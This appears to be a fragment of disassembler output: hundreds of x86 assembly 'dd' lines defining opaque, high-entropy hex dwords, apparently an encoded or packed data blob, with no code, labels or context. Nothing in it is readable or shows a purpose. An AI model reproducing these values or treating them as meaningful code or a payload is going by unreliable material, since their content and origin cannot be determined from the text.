		dd 2017BA32h, 933AA814h, 0B18C0024h, 0FEDDAE08h, 207AE683h
		dd 0FF4BA300h, 0CB34FC90h, 27B20085h, 3AF619E5h, 0E700760Ch
		dd 0C34DFADAh, 261410h,	0C1655311h, 0B947EA3Ch,	0B2D8FB00h
		dd 7174B0E3h, 19F607D0h, 0AA9E5Ch, 3E446CBEh, 0DB1C38h
		dd 2D2A91DCh, 185EB0h, 0A14828FDh, 0F7BA787Bh, 74EEC900h
		dd 0C59EDDDFh, 3511FFCh, 85CC078Fh, 293F30E5h, 0FB3F96E2h
		dd 0E38C805Bh, 513C9F89h, 8E55000Fh, 76C1AAACh,	2E0036DCh
		dd 72F7A55Ch, 3A76AC0h,	0DECA1D6Dh, 0C48F8478h,	7A188016h
		dd 21003398h, 4BF5BA1Ah, 0DB8362h, 9B7D60BBh, 7EA978AAh
		dd 2286BF1Eh, 0C06BBE4Eh, 0C1D38477h, 9890545h,	381BF8h
		dd 0F0F52E88h, 0B0030DA2h, 2F6DC2Dh, 0C13FC8DFh, 0AAF0025h
		dd 0CF6CE6EFh, 31006BAEh, 9A4BDC87h, 14F156h, 5B996542h
		dd 980D1205h, 611D9090h, 34472D8Fh, 60904AF2h, 0F6A93E3Dh
		dd 0B169045Bh, 8055B80Eh, 79565354h, 0FAF6B400h, 0E15DDBA0h
		dd 4CF41DC8h, 1F194074h, 3506D86Dh, 0D3001571h,	0DAD04009h
		dd 3F49B8h, 397F6BE4h, 4ECCC8CBh, 6002A7Dh, 0DCB8D763h
		dd 8FC6E7h, 0D2E3908Eh,	721E1878h, 0B53C66EEh, 24F809Ah
		dd 0A199DF29h, 0FD130065h, 72E5F134h, 1400A798h, 4E930661h
		dd 0C50A7Eh, 85A1F75Fh,	0FBB2D194h, 4404B47Ch, 2FEDBFF0h
		dd 5A7DC0AFh, 0AD02C590h, 8E7F043Fh, 0B6B08046h, 0C629C1h
		dd 4139A6D0h, 581C1ED1h, 4F9A8F05h, 61836E8Ch, 0DA1F9867h
		dd 425500AAh, 3B3918BCh, 7EE4C5FDh, 8B924Ch, 798A9F6Ah
		dd 0FCD0069Ah, 12C61F43h, 847109C3h, 17AFD58Fh,	31182DA0h
		dd 0D80067EBh, 47503548h, 0B0802Ah, 9901B76Ch, 58B3A773h
		dd 7F22C703h, 98D33646h, 73EFCF7Bh, 4ABA00F7h, 813B2AFh
		dd 2401FA07h, 4BB3DE0h,	0B9D9182Bh, 366F30h, 0A26CB7D2h
		dd 1489C66Bh, 900C061Ch, 4321D68Eh, 8A2DEFB6h, 4F4C6856h
		dd 3A4900B3h, 9940730Fh, 2B04E254h, 28672148h, 0D5B5BC80h
		dd 0FFE84CD4h, 5B8E1E00h, 98CD17BDh, 2C4D9600h,	90E645C5h
		dd 953B3FAAh, 0EF642880h, 2519D4ACh, 0DFE23509h, 5FA4802Ah
		dd 3CAF794Ch, 0EA875AF6h, 0A6103D52h, 23E6870h,	0CA2477B5h
		dd 0EA1F4461h, 0EFBB0303h, 9541F0E8h, 0B0FD1C4Eh, 16C68094h
		dd 8E493E12h, 58FC2900h, 27E02328h, 2A78146Ch, 1A00B47Eh
		dd 0FED9F64Ch, 5003107h, 0A219ACC9h, 633798h, 3C4D9D69h
		dd 0F032D857h, 7631A700h, 0F4281A6Ch, 0F65E0070h, 3ECE099Ah
		dd 0B005DF1h, 0CC5BE00Eh, 3D9FA92h, 0E5D45060h,	72D982FDh
		dd 47CEDDD0h, 40850F4h,	850055D8h, 3F307881h, 7DDC93h
		dd 0FBD34F0Bh, 0AEFCD7B1h, 7FF4B400h, 4FAEA7Ch,	23700035h
		dd 0AAA9BFF9h, 0DAF31F8Eh, 0FCEF6077h, 0DBC718DFh, 0F81489Ch
		dd 0C44D2101h, 0ACC05ADDh, 0CD4F70h, 53573170h,	0F6C3B1F9h
		dd 3D9DA800h, 8AF70B11h, 0AAA11773h, 0CAF801DFh, 0DC32C8E2h
		dd 4600499Bh, 41BAC6AEh, 28EB7B04h, 0A838DDh, 2B3D09B7h
		dd 73334711h, 0BC0397FAh, 8AAD08C2h, 0CFE3E0C4h, 5B371F2Bh
		dd 25940EA2h, 0F834AA4Fh, 0BECC9D00h, 0CBA5E455h, 0DAA49E00h
		dd 9A73A011h, 7B6D4C5Fh, 0ED27379h, 3962A177h, 0C9FF9EE0h
		dd 33002422h, 0DD23BDAFh, 0FE0FE6Fh, 0F3B6DF91h, 9B5D3A63h
		dd 59528C98h, 0D8DC5500h, 25176E9Ah, 0CFBD01E2h, 0D6D3D4FBh
		dd 85C1C42Bh, 0B991DD01h, 4B39369Eh, 47F466D5h,	0EB8800B8h
		dd 7ADA0217h, 0DB2CF5D1h, 4E0031E7h, 73E80561h,	0B02B0185h
		dd 821F1BBDh, 0C448D0B7h, 0A3711C0Ah, 0A00984C0h, 6C9CA02Fh
		dd 76CCB1B8h, 0B83F58FCh, 0F9E12C00h, 0B24FA776h, 61F6CB8h
		dd 88662347h, 4A8AFE80h, 1E102461h, 4B27DAA0h, 50865116h
		dd 2607C8A3h, 0E821B12Dh, 30408210h, 0C65A0E67h, 0B2818A10h
		dd 0BC2D9D2Eh, 0A2FA1E80h, 219B5F0Ch, 9FA3002Ah, 0BE6BFB6Ch
		dd 73FD0ADh, 0AF8B0096h, 0E73BB0F9h, 0DF4F001Ah, 42EB3C6Eh
		dd 0CD0137F0h, 15DBEAC0h, 97E0203Ah, 0ABE7006Ah, 0C2216BD2h
		dd 830496F2h, 672DFAD0h, 8DB2C480h, 97CD3EFCh, 21F1D11Bh
		dd 2A6746E8h, 8E6CF8C0h, 0EE7EF3h, 0A449C0C6h, 83DA0F84h
		dd 46011CEAh, 0B6F390ECh, 5AF0BD30h, 8E3A1725h,	0E78400CFh
		dd 0C4D80D79h, 171AE100h, 0D26169E8h, 0DF5800F5h, 0A6BD855Ah
		dd 84003BD3h, 0BF8FCB79h, 6D2556h, 0A9F82D53h, 284F5C91h
		dd 0D4538h, 359F92C8h, 78275h, 25905A2h, 38F72A6Eh, 0C8D06830h
		dd 0C01D9BF0h, 79DF436h, 18DECEA5h, 8005E34Eh, 0ED11F368h
		dd 0C39E0ACFh, 0F800680h, 42CE4F61h, 8A34D020h,	0A703E6B9h
		dd 0A280E813h, 0FC180EA6h, 0DF1CB71Ah, 159F0046h, 0B5F1721Bh
		dd 760024FEh, 0DB3F5B50h, 0E80174h, 0DC4CDCFh, 0EC3E9C2Fh
		dd 0C85E8A00h, 0A3093B5h, 58850C8Eh, 0E68079C5h, 599E5D0Fh
		dd 8883804Fh, 0C0CEA1D9h, 0F95C7C98h, 0A700450Ah, 832642B6h
		dd 14427C6h, 2267CECFh,	8B7EE333h, 811A72A0h, 8A8E74D3h
		dd 1801CDE0h, 702DD26Bh, 0B61F370Ch, 4A4E14ACh,	6DE475Eh
		dd 827349C3h, 4D8C8069h, 397E7D17h, 61F85C75h, 3B36D6E9h
		dd 92F16066h, 0A0C2092h, 91B71F55h, 3CBC3E72h, 5F204B44h
		dd 4500D8Fh, 0D0C8D66Ch, 1D0196BCh, 3A7A4E5Eh, 744A82ECh
		dd 0E0745968h, 1AF9FA88h, 273C0D49h, 0B967422h,	418CD03Bh
		dd 0AF09CD98h, 0A71F9Ch, 376B07B6h, 6513010Eh, 1EDE8719h
		dd 1C299C97h, 0E40A17C0h, 5F5550BFh, 5BA812h, 0C0858391h
		dd 0C5C201h, 64BE778Bh,	6F0A31D9h, 41CE500h, 11FE2C25h
		dd 1DA000FBh, 9B298375h, 0A606DA50h, 6A5E576Bh,	5BFA3969h
		dd 1A4E9Eh, 122F0842h, 4D00B943h, 3445851Fh, 12BC3C2Dh
		dd 27422C15h, 0CF9842C4h, 0AB8FE480h, 0EA000748h, 8C5F044Ah
		dd 0C1CD3988h, 58C10129h, 15D2F487h, 0B1261300h, 9427652h
		dd 59443AE3h, 50C13900h, 4F578469h, 0E7AC5307h,	849AB58Ah
		dd 47B8B9h, 0ED71F972h,	2E3E9993h, 0F3F567Dh, 168030C4h
		dd 2F8684F7h, 3B62A6A0h, 839F4B00h, 29FAAC1Ah, 0F1953C8Eh
		dd 0BA9C1BB8h, 5CE3406Fh, 0DC19EFC6h, 21056900h, 0D2B76B75h
		dd 1C91FAD7h, 0C30C5A60h, 0AD933E2Ch, 99ED4AE8h, 0FC075EE0h
		dd 2BA083D6h, 0D8227BB3h, 7B771FAEh, 67353D62h,	0B2B3EB87h
		dd 437DE01Ah, 490180F5h, 2AA3FDD9h, 18801D9Ch, 549DE5EBh
		dd 8C00D43Ah, 0AFBA4555h, 0F1D3B3Fh, 9CF388E1h,	0F2BF00D7h
		dd 917EEE60h, 29F17300h, 128D110Eh, 5ED63FC6h, 55A1D000h
		dd 0DB92A3AEh, 8179BD3Fh, 18BCCA03h, 2CF8DC7Dh,	0A34C3E3Ah
		dd 0C314A21Eh, 3849B62Dh, 0FDDA83A8h, 7CDF5B00h, 4D66CC5Ah
		dd 0FCA60002h
		dd 75D40125h, 2800F2BEh, 795508Eh, 8F56A8h, 273E8416h
		dd 0BA39783Fh, 0DE8568C0h, 32D4F6h, 0C7EEB304h,	69B95C22h
		dd 0E23CFC00h, 899B7A48h, 1B39861h, 1D6AB5F7h, 0DC86A0CBh
		dd 5012C6D4h, 0B500E553h, 0A27D987Bh, 7F4F008Dh, 3DC169BBh
		dd 46003484h, 0B54A9A14h, 0F22EAEh, 72397BD6h, 2815387Ah
		dd 0FBB88201h, 98958C16h, 2E59D9F0h, 938A52h, 3CC7E663h
		dd 5E00D35Ch, 652E71E9h, 0C874D8h, 0E499684Dh, 0BA236EF5h
		dd 8D5D0803h, 32D650h, 130529ACh, 68E7B0E2h, 0D8813060h
		dd 72C5ED21h, 79962622h, 0DF0F0028h, 54E52D58h,	7E9A2304h
		dd 0BA916Ch, 36A0B7Dh, 0C000AB57h, 50BE515Bh, 705499h
		dd 23FDBB85h, 0CAF58A26h, 9C1C8E00h, 0B775899Dh, 5E84C016h
		dd 6CDBC49h, 0C6E873FCh, 7B111E00h, 0ACD2272Dh,	4B0D006Fh
		dd 0D7C70659h, 7E00DBCAh, 3AD9BA0Ch, 733F6D80h,	0A510008Ah
		dd 0F7152B52h, 3300727Ch, 8131D86h, 31B3652Dh, 3070AC82h
		dd 0CF302054h, 831ACB1Dh, 0E1706C0h, 79A423C6h,	931F0090h
		dd 9F37C4D6h, 0A503411Dh, 9E03C147h, 0B0DED3B2h, 2D4CE2C8h
		dd 92FC33B0h, 9A7A4600h, 50CA22C0h, 1FC9Dh, 0BA4813C6h
		dd 9EF12EADh, 0A90E31Ch, 56F61200h, 79F0B74h, 0E55A3757h
		dd 14A580EEh, 0B5500339h, 495EFEF4h, 4600EDACh,	6887C9C8h
		dd 907C267Eh, 0F05C1201h, 0B01067B4h, 0C72840EEh, 0B2710008h
		dd 1749C899h, 900037C9h, 0D069604Ah, 4D06FBh, 0D805C09Bh
		dd 0F6CDD3A8h, 0A7A9B70Fh, 6EEBC0B8h, 208475h, 31DA6D03h
		dd 0B5F5A240h, 8A0BBE00h, 0D714CF5Dh, 3E3500A7h, 0E7575921h
		dd 0A802D9B0h, 0AEDEB21Fh, 49CE80C6h, 71A7D0h, 8A70610Ah
		dd 3ED47CEBh, 6253311Dh, 0DE2EC343h, 2B199880h,	0D9420221h
		dd 51E9BB8Ah, 4705EDE0h, 0B3B78D05h, 0E4036D7Fh, 92DD4889h
		dd 0B873C03Ch, 90C50170h, 7A13C09Eh, 8FB0CF40h,	0F001DFBBh
		dd 8DF6CBBAh, 16207C6Bh, 412500FAh, 0A7DAB173h,	4E7CE266h
		dd 4876C500h, 5898D7C8h, 34E30011h, 184A7C36h, 0C482CFAh
		dd 5A500E4h, 0B5966F0Dh, 15F40F2Eh, 4B40B09Eh, 9C927FA6h
		dd 89209000h, 0E475CAD0h, 0E1E800F8h, 636026D4h, 480045CFh
		dd 1959DD77h, 97C450h, 0C88A2466h, 96FA614Ah, 0D3ADA500h
		dd 82D14FCAh, 0B03A0711h, 898518A3h, 19AABB80h,	0A400891Ch
		dd 2FF64B4Ch, 0FDDB21h,	3AF76C2Ch, 0ADA5169h, 41746700h
		dd 76B631F8h, 4B9B00BDh, 796B2C2Ah, 5E7A1033h, 40755400h
		dd 3CABFDCAh, 364D0093h, 73085AD5h, 0D600B6C7h,	119BC1B7h
		dd 0FA8443h, 26450D1Ch,	8DB3B9BBh, 57882700h, 0FCEDC081h
		dd 0FAD50165h, 30BA84D7h, 93ABC877h, 3A5BF200h,	0BB8DD11Fh
		dd 4EF11987h, 0CC695009h, 0D76008E1h, 95AFF098h, 0D15F00CDh
		dd 0D98030C1h, 0ED385244h, 0B25883FBh, 0C8343F81h, 72E142F2h
		dd 0EA5B000Fh, 0B55FDE33h, 0F4F6D06Ch, 0D76E971Fh, 0F9643B05h
		dd 70FBB400h, 0FFC27Bh,	0B9DCA69Dh, 44679386h, 563D6890h
		dd 3CB0804Ah, 99CD5E98h, 6DE90317h, 9EFCEBC4h, 0BD7EBB98h
		dd 1F3E3C39h, 57173F13h, 0ECD49403h, 0DAC4E8ADh, 0B7A6018Dh
		dd 62FC4D6Dh, 7AF370E0h, 6C350200h, 0C48B0FEAh,	9F41CBBh
		dd 0AF65C376h, 0BE8E83Eh, 0FE489F27h, 3F8D0033h, 0C38BAEABh
		dd 15EDEC30h, 88025FE4h, 26355203h, 14D86C93h, 8E01761Eh
		dd 3C2E617Fh, 20C880F4h, 0A6DF0F21h, 18230F62h,	0EEE03872h
		dd 43958EBEh, 0FBE38034h, 59F6C8h, 0BB3E70A4h, 0A917AEE7h
		dd 0F8BA0607h, 4F909D69h, 20CF66h, 0C3686422h, 4A37A098h
		dd 26F48300h, 0FF6EDEFBh, 2360177Dh, 8BD301D6h,	0F009FC21h
		dd 1B2641A8h, 5C07C999h, 65D09DEBh, 78CAAB7h, 2ABC98AFh
		dd 43D720CDh, 4000F346h, 1675793Ah, 2D6E2A1h, 50BB314Fh
		dd 0C404957h, 0FA005C9Eh, 7937AAB4h, 1C194028h,	0C35EFFEBh
		dd 46DC8E9Fh, 60DD8AB8h, 0C71C1A7Fh, 0B7804B0Fh, 2BC4A024h
		dd 0D8C13F58h, 0AF7D680h, 0DC5CE005h, 0F5913700h, 79A3648Fh
		dd 0FFE3005Ah, 0D240959Ch, 0EF00827Eh, 73052A48h, 1A03F6Fh
		dd 49C77BBh, 4069D35Ah,	6F71AB10h, 0D90F6092h, 6C442827h
		dd 60230A08h, 500B1841h, 4300A022h, 0FEB4814Eh,	7A7EC95h
		dd 8BFD7970h, 68C030F8h, 9E3D5552h, 61968A35h, 0DF8080BAh
		dd 5C083ACEh, 0ED5A00B5h, 27B7D233h, 9990AEA0h,	649DDE00h
		dd 1A306F98h, 0D422079Ch, 20FC1469h, 8C59EC06h,	527D4E00h
		dd 0F336AB93h, 142158BFh, 127C6E00h, 8645BE87h,	5F7B5D00h
		dd 0AB7ABB77h, 625C3048h, 0F7C8CEC8h, 0E3F18860h, 0F5DD4Eh
		dd 47E6A5A9h, 7A1AC2B7h, 3CA9875Ch, 72AD8043h, 6B5C448Bh
		dd 62021DBFh, 0C6F60354h, 0AEE0463Ch, 0F5009EB9h, 1EF7AF7Fh
		dd 0FA5582EFh, 0C1710052h, 76D6E32Bh, 0B61C07DAh, 0FF98680Ch
		dd 39556A4h, 60EE24F9h,	67C3B141h, 475ECF98h, 9EE10C0Eh
		dd 3CAF60A8h, 0C61545h,	0C50683D4h, 9709DB65h, 0E67C5200h
		dd 39771929h, 0E8DA0318h, 4B3BF8BEh, 0B316BCD8h, 0FDEB9D38h
		dd 9687C500h, 1C09104Eh, 5BCA008Ch, 3591958Fh, 632AE657h
		dd 2C008883h, 6271F59Bh, 4B85D7Eh, 0E860F02Bh, 0C87D0088h
		dd 4D5C1Eh, 1759D663h, 0DF9B7E82h, 0AAE93406h, 20298441h
		dd 0EC00221Ch, 6C1E0511h, 587A146h, 20F8A5C5h, 4D9A0043h
		dd 190027Ch, 4526DDB0h,	0CE00602Ch, 4A8524BFh, 0E5930028h
		dd 94D0D33Fh, 8D0042D8h, 8FCF096Fh, 2EBBA7h, 85545055h
		dd 0CB3EFC02h, 80579A3Dh, 0A73AE7CFh, 4B29E3h, 3D5CED7Eh
		dd 0E6304955h, 9E204603h, 0B001DA45h, 0CE7DCh, 3C8A600Ah
		dd 57ABE0FDh, 0E437F02h, 0C0F0AF67h, 109FE9Dh, 0A3F9535Dh
		dd 308FD04Fh, 0D900258Fh, 0B36E1B45h, 1C4AF635h, 40EE4155h
		dd 61BAE4ADh, 9100E5D3h, 821FA239h, 3C45AD2h, 3B042142h
		dd 4FF1779Ch, 0EA70FC29h, 6AC05476h, 0AB072CCBh, 0A0380EBCh
		dd 9B40F1C7h, 35DCC859h, 47269001h, 8CC9F5A3h, 7FF5EE4h
		dd 9BB8850Bh, 485AB075h, 2E00DBF9h, 0A4356B50h,	2E38B060h
		dd 0BFD74Ch, 31DF0FE5h,	9B03CEE6h, 4B512391h, 1AEAC8E0h
		dd 11CB0C72h, 22C0AF9Ch, 0BD2CF600h, 3E9D8AA2h,	160E0044h
		dd 5174DFC0h, 0B7003094h, 38A1276Eh, 0A45FCAh, 0B9C93ECDh
		dd 8D61994Ah, 0DED7B600h, 0A9145392h, 987300B5h, 993BC4A2h
		dd 6300620Fh, 5ABF6CCh,	7B3E5B4h, 3FF916DCh, 1E4290BDh
		dd 46E21BDAh, 0A2B55600h, 8B1FD6B1h, 165733Fh, 0BA6632AEh
		dd 0C14D1448h, 88847099h, 124B800h, 716749E4h, 8AC90AF3h
		dd 9B6ADEh, 10D24C58h, 33789EDFh, 87646000h, 0F002B12Ch
		dd 36310062h, 0AA9CE472h, 161FF998h, 37C7591Fh,	79BCEDF1h
		dd 4AC6002Bh, 6793FEAh,	4400C39Bh, 0ACB174C1h, 659415Fh
		dd 95100373h, 763CC8CFh, 92C5009Fh, 671B1A04h, 138B0079h
		dd 7246735Eh, 6A71BDFBh, 0CF0E39FCh, 0C07E7CEBh, 0FD64D202h
		dd 616F39E6h, 55A6007Ch, 0E4C3B3EDh, 2400BAF9h,	8312C811h
		dd 0E6B73917h, 0DAE2B2h, 0D3DC477Bh, 661D8E40h,	70494800h
		dd 9B6E5ADDh, 69A8095Eh, 34807178h, 1F18810Fh, 7E8B6A00h
		dd 0FA1BC52Ah, 8CF004Fh, 83E4E2F8h, 1072473Fh, 0C903B70h
		dd 808AAD3Fh, 0CF505F12h, 0EEDB89Bh, 8D36AFC9h,	0F58862C0h
		dd 0B0EA881h, 981AF396h, 0F8FA60h, 648A4A6Eh, 0F7D0CF52h
		dd 0FC0F0579h, 8114C8E5h
		dd 34A5096Ah, 0F0ABD0h,	436CAF71h, 0F23CEDFAh, 1400E773h
		dd 25976696h, 7AFE385h,	0E6271037h, 4CBA70FFh, 6E003A54h
		dd 4011FEE7h, 39759F4Ah, 9680A249h, 8A2B1B1Eh, 0DD00E77Bh
		dd 0EFC679A0h, 0CC99C7h, 6AB5589Dh, 0F74A042Ch,	0E2072900h
		dd 14B669BEh, 9C81035Dh, 0BFD5687h, 784E1824h, 0EE3C9380h
		dd 0F86F37h, 0BA87B702h, 0B74DBA5h, 55FCE301h, 3201E578h
		dd 48C0A071h, 73FA0019h, 0A0168D31h, 0AC0006A8h, 0E65999F6h
		dd 6ACFD7h, 4510F908h, 223F215Bh, 392ECC00h, 0A358FE2Dh
		dd 129B0052h, 0E49CC2ACh, 0E003F08h, 5B7B8FB3h,	3C5009EAh
		dd 1C8AC49Eh, 399D0507h, 0F5FA6F07h, 0BE65C002h, 3A01345Fh
		dd 93E295C8h, 9820CDD9h, 0DEA90040h, 5937C0ABh,	0A600EC16h
		dd 29917273h, 0AFDA46h,	2C5ACCD9h, 244D1548h, 0CFDB6600h
		dd 471AE871h, 73E70F1Ch, 4020FA78h, 41884C5Eh, 0A05C6890h
		dd 10C80077h, 911E43A1h, 26EE0002h, 894E58D0h, 92002BBFh
		dd 3C1D1A12h, 0EFC9655h, 7A9B3053h, 8CED0340h, 0FA00E727h
		dd 0CD7DA3EAh, 6A21D3h,	6EB5491Dh, 0AE059779h, 5100F377h
		dd 361422CFh, 0EE160C8Ch, 81030027h, 5F419F9Bh,	0C0005907h
		dd 9CBEBFE1h, 9DAAC4h, 9664AE29h, 0E2D71E80h, 605B2400h
		dd 8C06EC18h, 33F0087h,	699FAA54h, 0CC50958Bh, 0E34D1898h
		dd 0C2530900h, 0F1F400BEh, 3E13BF32h, 6A9D695Ah, 0F734405Ch
		dd 97AFA98Bh, 4ADDE30Eh, 0A2FE6092h, 66E0A5h, 4256D476h
		dd 7AF7EACDh, 3E4D1B05h, 0AA00FEECh, 0E9E8D2E4h, 0A0F8007Ch
		dd 759E4A29h, 2298B2C4h, 50D6F200h, 1D197AF6h, 712A16CDh
		dd 0DDF30028h, 3416E5AEh, 0EC7D70F8h, 2F48587Fh, 0CCDA000Ah
		dd 367EEB3Bh, 0E8460160h, 0AF7258Dh, 8E0871CEh,	40C0D9FCh
		dd 0ABBB45D4h, 0DA55003Fh, 612A9EDEh, 0EC001539h, 1B6CE89Dh
		dd 927A66Dh, 0E87F3F2h,	0AFEEC42Fh, 60344501h, 66D60D0h
		dd 0DB929900h, 7FB8598Eh, 0F8C2EEA3h, 71BD0075h, 9EAD2403h
		dd 203DE9DEh, 17DD00C9h, 0FB23764Fh, 0D1110041h, 0A469F22Ch
		dd 0F42C1C1Bh, 823D3053h, 0FF477129h, 244C60ABh, 0D0692C80h
		dd 0E4B8100h, 709B380Bh, 15E82BBDh, 10B77F28h, 1CED4D28h
		dd 31982A00h, 2EF8297Bh, 1457E866h, 2CAD7547h, 5E886F21h
		dd 0D26000Ch, 0ED3AAB4Dh, 52081A0Eh, 1485201Fh,	2C18B7h
		dd 0BDF96EC1h, 0F21CF60Eh, 45626100h, 4C7EA20Dh, 0A0A505B4h
		dd 0A4918Fh, 175067F7h,	790C9B37h, 60753698h, 1D917B2Fh
		dd 40D0682Ch, 643AB086h, 0C01D87AAh, 0EE1D9E38h, 0A8106F4Ch
		dd 541D7D01h, 73FC417h,	1FE9B05Dh, 0A3E641BCh, 7D4B606Dh
		dd 0DDA4FD00h, 0F6D56B47h, 8B4400DCh, 0E3FB9CE6h, 380015B7h
		dd 0AB56F4CFh, 7C1E90AFh, 0CDDE0020h, 47822496h, 740E3FBBh
		dd 604A6288h, 0A3BAB1EBh, 0C8BF0767h, 1E4FA1A5h, 0CB857600h
		dd 0B200A759h, 4CB7DE1Eh, 0F63F96Bh, 70E3E6B1h,	8B8FF2A0h
		dd 29004E9Ah, 9239C33Fh, 1820C776h, 64FE6D32h, 4F0E0AF4h
		dd 0C0B0F675h, 26A70C02h, 0E8340024h, 643BE19Ah, 0DC005B39h
		dd 8AB156F5h, 0B78296h,	0A19B0CE4h, 83BEF832h, 61B20100h
		dd 73A87033h, 0A75C2ACBh, 892702F0h, 9DEB108Fh,	95CD59C0h
		dd 134F9B00h, 297ECB5Ch, 54230365h, 241409C9h, 24D172F1h
		dd 6D001A08h, 86A2826Fh, 3A4D100Eh, 0A91B0BF6h,	67C82023h
		dd 2001456Fh, 954E6B68h, 2EE894E9h, 8187F9F8h, 10BE5799h
		dd 7148BFF0h, 0B369DB00h, 0AF8F5535h, 903D7BCBh, 0FBAC0214h
		dd 3E092342h, 475B4C48h, 21C4AAB8h, 10C14A0h, 23D4359h
		dd 0A357038Ch, 3D87A79Bh, 548C6ED0h, 4429213Ch,	8371983Ah
		dd 0D1AFED39h, 2A0930B9h, 71B26421h, 0C1368E00h, 810CD586h
		dd 0FCBB037Dh, 478F09C6h, 0AFC39DE8h, 95047800h, 99A41623h
		dd 63C60006h, 6B69342Bh, 0C8506874h, 42EF0A2h, 0A11C97D3h
		dd 40BBFF00h, 57E009h, 0CDE9BFFDh, 0A067813Bh, 88387600h
		dd 32F5214Dh, 0D297005Bh, 0BDBF80E4h, 3400C73Dh, 91FCFBE9h
		dd 0F0C582h, 3611512Fh,	4F1A54F3h, 30B70800h, 63B44988h
		dd 0BEE8000Bh, 0B57CCC89h, 5500B1A8h, 0CEC168CDh, 0C56C2Ch
		dd 8F85D91Fh, 0E98DC79Ch, 8AB0F800h, 119955C9h,	0D728C458h
		dd 9B2344CBh, 1104515Fh, 0B308121Dh, 87141E15h,	8912128h
		dd 0CD8C0781h, 889B291Ch, 5100B877h, 0BA421640h, 1E99F2Ch
		dd 6BEBA739h, 0E0C8D8A1h, 0C3396F51h, 1F5B00A0h, 8CF5422Dh
		dd 256400ADh, 0BAFA1506h, 0CB009486h, 3F34A36Fh, 0C43E4Bh
		dd 9352392h, 7BB7E51Eh,	0F37BF00h, 0BAE90238h, 8A6D000Bh
		dd 0A0997233h, 0D200EED1h, 2DCCF8E0h, 1FED3B0h,	3865C67h
		dd 0F4CA2258h, 4F02C683h, 4048B124h, 3FC7803Dh,	0D2876h
		dd 16B4F0B3h, 0B2E65C33h, 0F2FCFE7Fh, 1A72ED00h, 0B46D5D76h
		dd 0F732003Dh, 4C60A7E9h, 0DB0BE57Dh, 0B2A095h,	5A9CBB13h
		dd 43FC73h, 4C9364AFh, 0F4C02E3Eh, 1D19E65Ch, 8AC153F8h
		dd 697236B9h, 1BCE0h, 0E38A4C2h, 0DCB8323Eh, 8300357Dh
		dd 0C16AB45Ch, 72D3F21Bh, 5F010151h, 78360D54h,	6861E82Bh
		dd 2500F9E4h, 968B1BD1h, 29F2B7h, 6BE874B1h, 7E477730h
		dd 0E0B6DC00h, 0FA04B4CEh, 0F865019Fh, 4A337BCAh, 198AC46Bh
		dd 8B48650h, 0FB73A90Fh, 0B3034322h, 4F499874h,	62A0B9Ah
		dd 0DD00AD3Dh, 736EF894h, 1D57D300h, 2F10D4B1h,	93A30005h
		dd 248C0F1Fh, 25005145h, 0B692BA96h, 390ADF1h, 3C5F73A2h
		dd 618B2C7Fh, 0E82D32E0h, 0B0822100h, 0C864A8AFh, 0FD393E49h
		dd 27659C00h, 8E1B7F7Bh, 83D32F3Eh, 0CABCD156h,	40F7C017h
		dd 72640065h, 0F184F047h, 0B80021F9h, 43A5E683h, 0B975B2h
		dd 4C554459h, 0AABFE99Ch, 235A9601h, 2FFD4798h,	7D0C43E0h
		dd 4CA70625h, 209AD4D3h, 0B052FC2Ch, 0CB1DEE00h, 0E09668h
		dd 0A15E6EA4h, 8E23E59h, 1D66F93Eh, 65C71BCFh, 4A91EEE3h
		dd 0A02BF07Eh, 8303AC96h, 4F3A491Fh, 0A99FC83Ch, 0AA330042h
		dd 4391EFD1h, 0B700A751h, 1CEECDCFh, 75569Bh, 0C62113ABh
		dd 1E17A326h, 36E75500h, 0C0687BB0h, 0F0F60030h, 0C122F85Eh
		dd 0CF0F77FFh, 20DE3796h, 80CD8962h, 0FDB300D7h, 7E38BF8Dh
		dd 36003D0Bh, 718676C5h, 0B24D16h, 44454F5Fh, 0CEB094FEh
		dd 14008976h, 408FCAA7h, 7B151Ah, 84E066A2h, 672AF2F6h
		dd 35C3D001h, 2999AADFh, 0E8541080h, 1543C63Bh,	4D13892Eh
		dd 4C112501h, 0E5405FA2h, 661269h, 6DB9F704h, 0A4758E7Eh
		dd 321BE400h, 62E3B7D5h, 0CF75BBh, 0A85171Fh, 474B492Fh
		dd 53880503h, 88110F56h, 3159DFh, 0B64235FBh, 25246FBAh
		dd 4B572300h, 72E66949h, 389FFD5Eh, 791B8C6Dh, 0BD1FB9C0h
		dd 97C0F088h, 5BC5D2F4h, 3BF9002Bh, 0A6E41E28h,	890BF273h
		dd 5DC734EAh, 23A0878Fh, 2F847479h, 639872ECh, 3CE6AA00h
		dd 0A8A570EEh, 9D07006Ch, 0CF55ED5Dh, 0D230F357h, 8FDFE0AFh
		dd 5F6C1DDBh, 0ECE8C01Eh, 68641296h, 5CEA1800h,	0DB6BDECFh
		dd 0E179ABh, 9BDF4640h,	1B4ECCBEh, 0D7034273h, 6A99C9D3h
		dd 0B34BF39Dh, 0E19A0AA5h, 41EC34D5h, 0C83527B4h, 2A002858h
		dd 0C65C730Bh, 57F845h,	31C93929h, 662613F3h, 0D88F9100h
		dd 98AC0D5Fh, 0C56000B5h, 7FF26F12h, 0E1004C08h, 0B181F4FCh
		dd 114406Bh, 0F3019E7Eh, 0AC168098h, 0D200E528h, 2D38CCBCh
		dd 797000C5h, 0A204FC9Ch
		dd 814F1994h, 6E01DF12h, 0F333CF3Ah, 0C4DFF850h, 6F730076h
		dd 0C2A3CD9h, 0C97DD1B1h, 5EE9E000h, 5CBEC7F5h,	243400C5h
		dd 4C4E89CFh, 7E03E53Ah, 4307D4F6h, 0B77FB08Bh,	539B14E0h
		dd 1F75FCF0h, 8E35691Ah, 7940482Eh, 5D92BB0Ah, 1591C05h
		dd 0C50F4F6Ah, 5A3980A6h, 4D50Dh, 0B9E8A1B7h, 0F1054C9Bh
		dd 50D9AC05h, 0D600FAA9h, 0E17B9634h, 7D1100B0h, 939779A2h
		dd 0E7B080F9h, 38D2DA00h, 71B6F85Bh, 338B0091h,	3C023965h
		dd 8C12D5F0h, 0AC00284Fh, 0AB40FE6Eh, 68A1DF6h,	0D1DC83h
		dd 0BC44B8Eh, 461F6DB7h, 7402C63Dh, 806ACAEBh, 1A191B84h
		dd 0A88B24F1h, 24200C8h, 0F54C982h, 1D4F10C0h, 0C0BDC2EDh
		dd 66110532h, 40F1F4A5h, 45952DB4h, 8DCC603h, 0D1C5B58Eh
		dd 0B9F82916h, 32CD2484h, 7A2600D8h, 18975D8Dh,	78D4490Fh
		dd 956F40CFh, 0FF4CE6h,	0AAB56253h, 83F511F3h, 81074F00h
		dd 5BB72797h, 3F7CC0B0h, 6C899195h, 5183CD05h, 86C0AE3Dh
